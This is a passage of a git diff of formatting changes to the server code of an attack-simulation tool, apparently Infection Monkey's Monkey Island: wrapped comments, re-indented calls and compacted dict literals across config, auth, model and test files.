expected_result: bool + self, method_name: str, env: Environment, config: Dict, expected_result: bool ): env._config = EnvironmentConfig(config) method = getattr(env, method_name) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index 9bf6bfc2bf5..d758fe69aaf 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -14,7 +14,7 @@ NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") STANDARD_WITH_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" + TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir.json") WITH_DATA_DIR_HOME = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir_home.json") diff --git a/monkey/monkey_island/cc/environment/test_user_creds.py b/monkey/monkey_island/cc/environment/test_user_creds.py index 93da16e24ef..e4764930f4c 100644 --- a/monkey/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/monkey_island/cc/environment/test_user_creds.py @@ -9,13 +9,13 @@ def test_to_dict(self): self.assertDictEqual(user_creds.to_dict(), {}) user_creds = UserCreds(username="Test") - self.assertDictEqual(user_creds.to_dict(), {"user": "Test"}) + self.assertDictEqual(user_creds.to_dict(), {"user":"Test"}) user_creds = UserCreds(password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {"password_hash": "abc1231234"}) + self.assertDictEqual(user_creds.to_dict(), {"password_hash":"abc1231234"}) user_creds = UserCreds(username="Test", password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {"user": "Test", "password_hash": "abc1231234"}) + self.assertDictEqual(user_creds.to_dict(), {"user":"Test", "password_hash":"abc1231234"}) def test_to_auth_user(self): user_creds = UserCreds(username="Test", password_hash="abc1231234") diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py index 2dd34a9205e..efa323fe81e 100644 --- a/monkey/monkey_island/cc/environment/testing.py +++ b/monkey/monkey_island/cc/environment/testing.py @@ -4,7 +4,8 @@ class TestingEnvironment(Environment): """ Use this environment for running Unit Tests. - This will cause all mongo connections to happen via `mongomock` instead of using an actual mongodb instance. + This will cause all mongo connections to happen via `mongomock` instead of using an actual + mongodb instance. """ _credentials_required = True diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index 98a23a14a08..c166802a362 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -17,9 +17,9 @@ def __bool__(self) -> bool: def to_dict(self) -> Dict: cred_dict = {} if self.username: - cred_dict.update({"user": self.username}) + cred_dict.update({"user":self.username}) if self.password_hash: - cred_dict.update({"password_hash": self.password_hash}) + cred_dict.update({"password_hash":self.password_hash}) return cred_dict def to_auth_user(self) -> User: diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 75d105f70ad..3461f3c4275 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -5,7 +5,8 @@ from pathlib import Path from threading import Thread -# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work. +# Add the monkey_island directory to the path, to make sure imports that don't start with +# "monkey_island." work. from gevent.pywsgi import WSGIServer MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) @@ -39,7 +40,7 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread( - target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True + target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True ) bootloader_server_thread.start() @@ -48,7 +49,6 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P def start_island_server(should_setup_only): - mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) assert_mongo_db_version(mongo_url) @@ -69,10 +69,10 @@ def start_island_server(should_setup_only): app.run(host="0.0.0.0", debug=True, ssl_context=(crt_path, key_path)) else: http_server = WSGIServer( - ("0.0.0.0", env_singleton.env.get_island_port()), - app, - certfile=os.environ.get("SERVER_CRT", crt_path), - keyfile=os.environ.get("SERVER_KEY", key_path), + ("0.0.0.0", env_singleton.env.get_island_port()), + app, + certfile=os.environ.get("SERVER_CRT", crt_path), + keyfile=os.environ.get("SERVER_KEY", key_path), ) log_init_info() http_server.serve_forever() @@ -82,14 +82,14 @@ def log_init_info(): logger.info("Monkey Island Server is running!") logger.info(f"version: {get_version()}") logger.info( - "Listening on the following URLs: {}".format( - ", ".join( - [ - "https://{}:{}".format(x, env_singleton.env.get_island_port()) - for x in local_ip_addresses() - ] + "Listening on the following URLs: {}".format( + ", ".join( + [ + "https://{}:{}".format(x, env_singleton.env.get_island_port()) + for x in local_ip_addresses() + ] + ) ) - ) ) MonkeyDownload.log_executable_hashes() @@ -110,9 +110,9 @@ def assert_mongo_db_version(mongo_url): server_version = get_db_version(mongo_url) if server_version < required_version: logger.error( - "Mongo DB version too old. {0} is required, but got {1}".format( - str(required_version), str(server_version) - ) + "Mongo DB version too old. {0} is required, but got {1}".format( + str(required_version), str(server_version) + ) ) sys.exit(-1) else: diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index c668be7aed7..1beccd40da7 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -4,7 +4,8 @@ from .command_control_channel import CommandControlChannel # noqa: F401 -# Order of importing matters here, for registering the embedded and referenced documents before using them. +# Order of importing matters here, for registering the embedded and referenced documents before +# using them. from .config import Config # noqa: F401 from .creds import Creds # noqa: F401 from .monkey import Monkey # noqa: F401 @@ -12,7 +13,7 @@ from .pba_results import PbaResults # noqa: F401 connect( - db=env_singleton.env.mongo_db_name, - host=env_singleton.env.mongo_db_host, - port=env_singleton.env.mongo_db_port, + db=env_singleton.env.mongo_db_name, + host=env_singleton.env.mongo_db_host, + port=env_singleton.env.mongo_db_port, ) diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py index 3df6b839d65..2a4e8f70e44 100644 --- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -8,7 +8,6 @@ class AttackMitigations(Document): - COLLECTION_NAME = "attack_mitigations" technique_id = StringField(required=True, primary_key=True) @@ -39,13 +38,13 @@ def add_no_mitigations_info(self, mitigation: CourseOfAction): @staticmethod def mitigations_from_attack_pattern(attack_pattern: AttackPattern): return AttackMitigations( - technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), - mitigations=[], + technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), + mitigations=[], ) @staticmethod def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]): return { - key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) + key:AttackMitigations.mitigations_from_attack_pattern(attack_pattern) for key, attack_pattern in stix2_dict.items() } diff --git a/monkey/monkey_island/cc/models/attack/mitigation.py b/monkey/monkey_island/cc/models/attack/mitigation.py index 3c096b618df..626c1800a9f 100644 --- a/monkey/monkey_island/cc/models/attack/mitigation.py +++ b/monkey/monkey_island/cc/models/attack/mitigation.py @@ -5,7 +5,6 @@ class Mitigation(EmbeddedDocument): - name = StringField(required=True) description = StringField(required=True) url = StringField() diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index f4af7b4003c..cb919cc580d 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -8,5 +8,5 @@ class Config(EmbeddedDocument): See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist """ - meta = {"strict": False} + meta = {"strict":False} pass diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py index d0861846d87..fd12cb6f44b 100644 --- a/monkey/monkey_island/cc/models/creds.py +++ b/monkey/monkey_island/cc/models/creds.py @@ -6,5 +6,5 @@ class Creds(EmbeddedDocument): TODO get an example of this data, and make it strict """ - meta = {"strict": False} + meta = {"strict":False} pass diff --git a/monkey/monkey_island/cc/models/edge.py b/monkey/monkey_island/cc/models/edge.py index bb4f8a2c64f..c5af094553f 100644 --- a/monkey/monkey_island/cc/models/edge.py +++ b/monkey/monkey_island/cc/models/edge.py @@ -2,8 +2,7 @@ class Edge(Document): - - meta = {"allow_inheritance": True} + meta = {"allow_inheritance":True} # SCHEMA src_node_id = ObjectIdField(required=True) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 90255099e87..59d77b48426 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -26,8 +26,10 @@ class Monkey(Document): """ This class has 2 main section: - * The schema section defines the DB fields in the document. This is the data of the object. - * The logic section defines complex questions we can ask about a single document which are asked multiple + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple times, somewhat like an API. """ @@ -42,7 +44,8 @@ class Monkey(Document): ip_addresses = ListField(StringField()) keepalive = DateTimeField() modifytime = DateTimeField() - # TODO make "parent" an embedded document, so this can be removed and the schema explained (and validated) verbosely. + # TODO make "parent" an embedded document, so this can be removed and the schema explained ( + # and validated) verbosely. # This is a temporary fix, since mongoengine doesn't allow for lists of strings to be null # (even with required=False of null=True). # See relevant issue: https://github.com/MongoEngine/mongoengine/issues/1904 @@ -56,11 +59,11 @@ class Monkey(Document): # Environment related fields environment = StringField( - default=environment_names.Environment.UNKNOWN.value, - choices=environment_names.ALL_ENVIRONMENTS_NAMES, + default=environment_names.Environment.UNKNOWN.value, + choices=environment_names.ALL_ENVIRONMENTS_NAMES, ) aws_instance_id = StringField( - required=False + required=False ) # This field only exists when the monkey is running on an AWS # instance. See https://github.com/guardicore/monkey/issues/426. @@ -143,10 +146,11 @@ def get_network_info(self): Formats network info from monkey's model :return: dictionary with an array of IP's and a hostname """ - return {"ips": self.ip_addresses, "hostname": self.hostname} + return {"ips":self.ip_addresses, "hostname":self.hostname} @ring.lru( - expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation. + expire=1 + # data has TTL of 1 second. This is useful for rapid calls for report generation. ) @staticmethod def is_monkey(object_id): diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py index e3025c25035..19368261771 100644 --- a/monkey/monkey_island/cc/models/monkey_ttl.py +++ b/monkey/monkey_island/cc/models/monkey_ttl.py @@ -7,10 +7,12 @@ class MonkeyTtl(Document): """ This model represents the monkey's TTL, and is referenced by the main Monkey document. See https://docs.mongodb.com/manual/tutorial/expire-data/ and - https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents/56021663#56021663 + https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired + -documents/56021663#56021663 for more information about how TTL indexing works and why this class is set up the way it is. - If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) function. + If you wish to use this class, you can create it using the create_ttl_expire_in(seconds) + function. If you wish to create an instance of this class directly, see the inner implementation of create_ttl_expire_in(seconds) to see how to do so. """ @@ -20,14 +22,16 @@ def create_ttl_expire_in(expiry_in_seconds): """ Initializes a TTL object which will expire in expire_in_seconds seconds from when created. Remember to call .save() on the object after creation. - :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take into consideration + :param expiry_in_seconds: How long should the TTL be in the DB, in seconds. Please take + into consideration that the cleanup thread of mongo might take extra time to delete the TTL from the DB. """ # Using UTC to make the mongodb TTL feature work. See - # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired-documents. + # https://stackoverflow.com/questions/55994379/mongodb-ttl-index-doesnt-delete-expired + # -documents. return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds)) - meta = {"indexes": [{"name": "TTL_index", "fields": ["expire_at"], "expireAfterSeconds": 0}]} + meta = {"indexes":[{"name":"TTL_index", "fields":["expire_at"], "expireAfterSeconds":0}]} expire_at = DateTimeField() @@ -35,7 +39,8 @@ def create_ttl_expire_in(expiry_in_seconds): def create_monkey_ttl_document(expiry_duration_in_seconds): """ Create a new Monkey TTL document and save it as a document. - :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND - depends on mongodb + :param expiry_duration_in_seconds: How long should the TTL last for. THIS IS A LOWER BOUND - + depends on mongodb performance. :return: The TTL document. To get its ID use `.id`. """ diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index d21776f6ffe..2d802f00f79 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -26,7 +26,8 @@ def test_is_dead(self): mia_monkey_ttl.save() mia_monkey = Monkey(guid=str(uuid.uuid4()), dead=False, ttl_ref=mia_monkey_ttl.id) mia_monkey.save() - # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a real mongo instance. + # Emulate timeout - ttl is manually deleted here, since we're using mongomock and not a + # real mongo instance. sleep(1) mia_monkey_ttl.delete() @@ -66,8 +67,8 @@ def test_get_single_monkey_by_id(self): @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_os(self): linux_monkey = Monkey( - guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu", + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu", ) windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla") unknown_monkey = Monkey(guid=str(uuid.uuid4()), description="bla bla bla") @@ -83,20 +84,20 @@ def test_get_os(self): def test_get_tunneled_monkeys(self): linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") windows_monkey = Monkey( - guid=str(uuid.uuid4()), description="Windows bla bla bla", tunnel=linux_monkey + guid=str(uuid.uuid4()), description="Windows bla bla bla", tunnel=linux_monkey ) unknown_monkey = Monkey( - guid=str(uuid.uuid4()), description="bla bla bla", tunnel=windows_monkey + guid=str(uuid.uuid4()), description="bla bla bla", tunnel=windows_monkey ) linux_monkey.save() windows_monkey.save() unknown_monkey.save() tunneled_monkeys = Monkey.get_tunneled_monkeys() test = bool( - windows_monkey in tunneled_monkeys - and unknown_monkey in tunneled_monkeys - and linux_monkey not in tunneled_monkeys - and len(tunneled_monkeys) == 2 + windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2 ) assert test @@ -105,10 +106,10 @@ def test_get_label_by_id(self): hostname_example = "a_hostname" ip_example = "1.1.1.1" linux_monkey = Monkey( - guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine", - hostname=hostname_example, - ip_addresses=[ip_example], + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine", + hostname=hostname_example, + ip_addresses=[ip_example], ) linux_monkey.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py index 727ec9a2a77..3ffdb02b9b9 100644 --- a/monkey/monkey_island/cc/models/zero_trust/event.py +++ b/monkey/monkey_island/cc/models/zero_trust/event.py @@ -7,12 +7,15 @@ class Event(EmbeddedDocument): """ - This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to + This model represents a single event within a Finding (it is an EmbeddedDocument within + Finding). It is meant to hold a detail of the Finding. This class has 2 main section: - * The schema section defines the DB fields in the document. This is the data of the object. - * The logic section defines complex questions we can ask about a single document which are asked multiple + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple times, or complex action we will perform - somewhat like an API. """ diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 7ddf643fecf..74660da50d6 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -12,25 +12,29 @@ class Finding(Document): """ - This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a + This model represents a Zero-Trust finding: A result of a test the monkey/island might + perform to see if a specific principle of zero trust is upheld or broken. Findings might have the following statuses: Failed ⌠Meaning that we are sure that something is wrong (example: segmentation issue). Verify ≠- Meaning that we need the user to check something himself (example: 2FA logs, AV missing). + Meaning that we need the user to check something himself (example: 2FA logs, + AV missing). Passed ✔ Meaning that we are sure that something is correct (example: Monkey failed exploiting). This class has 2 main section: - * The schema section defines the DB fields in the document. This is the data of the object. - * The logic section defines complex questions we can ask about a single document which are asked multiple + * The schema section defines the DB fields in the document. This is the data of the + object. + * The logic section defines complex questions we can ask about a single document which + are asked multiple times, or complex action we will perform - somewhat like an API. """ # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance - meta = {"allow_inheritance": True} + meta = {"allow_inheritance":True} # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py index 62cfda5048a..3568e0ee148 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -8,7 +8,6 @@ class MonkeyFindingDetails(Document): - # SCHEMA events = EmbeddedDocumentListField(document_type=Event, required=False) diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py index 174a68db7d9..7fd16de9d4f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -13,7 +13,7 @@ class ScoutSuiteFinding(Finding): @staticmethod def save_finding( - test: str, status: str, detail_ref: ScoutSuiteFindingDetails + test: str, status: str, detail_ref: ScoutSuiteFindingDetails ) -> ScoutSuiteFinding: finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py index cbc8c5f2983..9f2b24d9d49 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding_details.py @@ -4,7 +4,6 @@ class ScoutSuiteFindingDetails(Document): - # SCHEMA scoutsuite_rules = EmbeddedDocumentListField(document_type=ScoutSuiteRule, required=False) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 653be95ec08..4fabe2eea92 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -9,17 +9,18 @@ class TestEvent: def test_create_event(self): with pytest.raises(ValidationError): _ = Event.create_event( - title=None, # title required - message="bla bla", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title=None, # title required + message="bla bla", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) with pytest.raises(ValidationError): _ = Event.create_event( - title="skjs", message="bla bla", event_type="Unknown" # Unknown event type + title="skjs", message="bla bla", event_type="Unknown" # Unknown event type ) # Assert that nothing is raised. _ = Event.create_event( - title="skjs", message="bla bla", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + title="skjs", message="bla bla", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py index f7cf39d2248..2df6901234b 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -17,9 +17,9 @@ class TestMonkeyFinding: def test_save_finding_validation(self): with pytest.raises(ValidationError): _ = MonkeyFinding.save_finding( - test="bla bla", - status=zero_trust_consts.STATUS_FAILED, - detail_ref=MONKEY_FINDING_DETAIL_MOCK, + test="bla bla", + status=zero_trust_consts.STATUS_FAILED, + detail_ref=MONKEY_FINDING_DETAIL_MOCK, ) @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) @@ -27,17 +27,17 @@ def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 event_example = Event.create_event( - title="Event Title", - message="event message", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Event Title", + message="event message", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) monkey_details_example = MonkeyFindingDetails() monkey_details_example.events.append(event_example) monkey_details_example.save() MonkeyFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=monkey_details_example, + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=monkey_details_example, ) assert len(MonkeyFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py index 07809cd903f..f78802b164b 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -20,9 +20,9 @@ class TestScoutSuiteFinding: def test_save_finding_validation(self): with pytest.raises(ValidationError): _ = ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status="bla bla", - detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, + test=zero_trust_consts.TEST_SEGMENTATION, + status="bla bla", + detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, ) @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) @@ -34,9 +34,9 @@ def test_save_finding_sanity(self): scoutsuite_details_example.scoutsuite_rules.append(rule_example) scoutsuite_details_example.save() ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=scoutsuite_details_example, + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=scoutsuite_details_example, ) assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py index 0ac69df6df6..2966f2e0e2a 100644 --- a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py +++ b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py @@ -8,12 +8,13 @@ class T1216PBAFileDownload(flask_restful.Resource): """ - File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA) + File download endpoint used by monkey to download executable file for T1216 ("Signed Script + Proxy Execution" PBA) """ def get(self): executable_file_name = "T1216_random_executable.exe" return send_from_directory( - directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), - filename=executable_file_name, + directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), + filename=executable_file_name, ) diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py index 570882dbd03..3ca7a0f0c89 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack/attack_config.py @@ -11,14 +11,14 @@ class AttackConfiguration(flask_restful.Resource): @jwt_required def get(self): return current_app.response_class( - json.dumps( - {"configuration": AttackConfig.get_config()}, - indent=None, - separators=(",", ":"), - sort_keys=False, - ) - + "\n", - mimetype=current_app.config["JSONIFY_MIMETYPE"], + json.dumps( + {"configuration":AttackConfig.get_config()}, + indent=None, + separators=(",", ":"), + sort_keys=False, + ) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], ) @jwt_required @@ -32,6 +32,6 @@ def post(self): AttackConfig.reset_config() return jsonify(configuration=AttackConfig.get_config()) else: - AttackConfig.update_config({"properties": json.loads(request.data)}) + AttackConfig.update_config({"properties":json.loads(request.data)}) AttackConfig.apply_to_monkey_config() return {} diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py index 72860cab74b..bb3162b2ed8 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_report.py +++ b/monkey/monkey_island/cc/resources/attack/attack_report.py @@ -12,11 +12,11 @@ class AttackReport(flask_restful.Resource): @jwt_required def get(self): response_content = { - "techniques": AttackReportService.get_latest_report()["techniques"], - "schema": SCHEMA, + "techniques":AttackReportService.get_latest_report()["techniques"], + "schema":SCHEMA, } return current_app.response_class( - json.dumps(response_content, indent=None, separators=(",", ":"), sort_keys=False) - + "\n", - mimetype=current_app.config["JSONIFY_MIMETYPE"], + json.dumps(response_content, indent=None, separators=(",", ":"), sort_keys=False) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], ) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 47d68fb1a08..a2cd6f858d3 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -19,13 +19,14 @@ def init_jwt(app): user_store.UserStore.set_users(env_singleton.env.get_auth_users()) _ = flask_jwt_extended.JWTManager(app) logger.debug( - "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4] + "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4] ) class Authenticate(flask_restful.Resource): """ - Resource for user authentication. The user provides the username and hashed password and we give them a JWT. + Resource for user authentication. The user provides the username and hashed password and we + give them a JWT. See `AuthService.js` file for the frontend counterpart for this code. """ @@ -50,14 +51,14 @@ def post(self): # If the user and password have been previously registered if self._authenticate(username, secret): access_token = flask_jwt_extended.create_access_token( - identity=user_store.UserStore.username_table[username].id + identity=user_store.UserStore.username_table[username].id ) logger.debug( - f"Created access token for user {username} that begins with {access_token[:4]}" + f"Created access token for user {username} that begins with {access_token[:4]}" ) - return make_response({"access_token": access_token, "error": ""}, 200) + return make_response({"access_token":access_token, "error":""}, 200) else: - return make_response({"error": "Invalid credentials"}, 401) + return make_response({"error":"Invalid credentials"}, 401) # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ @@ -67,8 +68,9 @@ def wrapper(*args, **kwargs): try: flask_jwt_extended.verify_jwt_in_request() return fn(*args, **kwargs) - # Catch authentication related errors in the verification or inside the called function. All other exceptions propagate + # Catch authentication related errors in the verification or inside the called function. + # All other exceptions propagate except (JWTExtendedException, PyJWTError) as e: - return make_response({"error": f"Authentication error: {str(e)}"}, 401) + return make_response({"error":f"Authentication error: {str(e)}"}, 401) return wrapper diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index e5ca99232e1..dbda4dbe764 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -8,12 +8,12 @@ class Registration(flask_restful.Resource): def get(self): - return {"needs_registration": env_singleton.env.needs_registration()} + return {"needs_registration":env_singleton.env.needs_registration()} def post(self): credentials = UserCreds.get_from_json(request.data) try: env_singleton.env.try_add_user(credentials) - return make_response({"error": ""}, 200) + return make_response({"error":""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: - return make_response({"error": str(e)}, 400) + return make_response({"error":str(e)}, 400) diff --git a/monkey/monkey_island/cc/resources/auth/user_store.py b/monkey/monkey_island/cc/resources/auth/user_store.py index a35f4b3d601..da47545d5d8 100644 --- a/monkey/monkey_island/cc/resources/auth/user_store.py +++ b/monkey/monkey_island/cc/resources/auth/user_store.py @@ -11,5 +11,5 @@ class UserStore: @staticmethod def set_users(users: List[User]): UserStore.users = users - UserStore.username_table = {u.username: u for u in UserStore.users} - UserStore.user_id_table = {u.id: u for u in UserStore.users} + UserStore.username_table = {u.username:u for u in UserStore.users} + UserStore.user_id_table = {u.id:u for u in UserStore.users} diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py index b228b9eea18..69d7e158479 100644 --- a/monkey/monkey_island/cc/resources/bootloader.py +++ b/monkey/monkey_island/cc/resources/bootloader.py @@ -16,23 +16,23 @@ def post(self, os): elif os == "windows": data = Bootloader._get_request_contents_windows(request.data) else: - return make_response({"status": "OS_NOT_FOUND"}, 404) + return make_response({"status":"OS_NOT_FOUND"}, 404) result = BootloaderService.parse_bootloader_telem(data) if result: - return make_response({"status": "RUN"}, 200) + return make_response({"status":"RUN"}, 200) else: - return make_response({"status": "ABORT"}, 200) + return make_response({"status":"ABORT"}, 200) @staticmethod def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]: parsed_data = json.loads( - request_data.decode() - .replace('"\n', "") - .replace("\n", "") - .replace('NAME="', "") - .replace('":",', 